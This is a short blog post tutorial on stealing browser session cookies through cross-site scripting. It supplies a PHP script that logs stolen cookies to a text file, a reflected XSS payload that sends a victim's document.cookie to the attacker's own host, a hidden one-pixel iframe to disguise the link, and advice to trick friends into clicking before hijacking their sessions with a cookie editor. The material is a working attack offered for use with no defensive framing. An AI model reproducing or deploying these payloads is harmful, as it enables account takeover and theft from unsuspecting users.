Cookie Grabbing

Cookie Grabbing using XSS:-


<?php

$cookie=$_GET[‘cookie’];     //storing cookies in a variable called $cookie.
$file=fopen(“cookies.txt”,”a”);  //opening a file called cookies.txt with append mode.
fwrite($file,$cookie.”\n\n\n);
fclose($file);
?>

Save it as “ 1.php “

------------------------------------------------
Now the url looks like : www.site.com/some_folder/1.php

-----------------------------------------------
Find vuln in a site then put it like this below :

http://some_vuln_site.com/somefolder/search.php?query=<script>document.location='http://Your_site.com/somefolder/1.php?cookie='.concat(escape(document.cookie));</script>

 now send this link but,mostly people wont click it because they find this url very suspicious.
So u need to mask it

-------------------------------------
Ex:

<iframe
src="http://some_vuln_site.com/somefolder/search.php?query=<script>document.location='http://Your_site.com/somefolder/1.php?cookie='.concat(escape(document.cookie));</script>" width="1" heigth="1"></iframe>
**
Now put this script in file called iclick.php .

Now your url looks like www.site.com/folder/iclick.php

Send this link to your friend or anyone else ask….(social engineer) to click on this link..
Tats it the cookies will be stored in cookies.txt file.
(download cookie editor addon and go on wat u want to do).

Comments

Popular posts from this blog

Reliance to Launch 4G Smartphones Under 'Lyf' Brand

How to Make Your Computer Faster – 10 Proven tips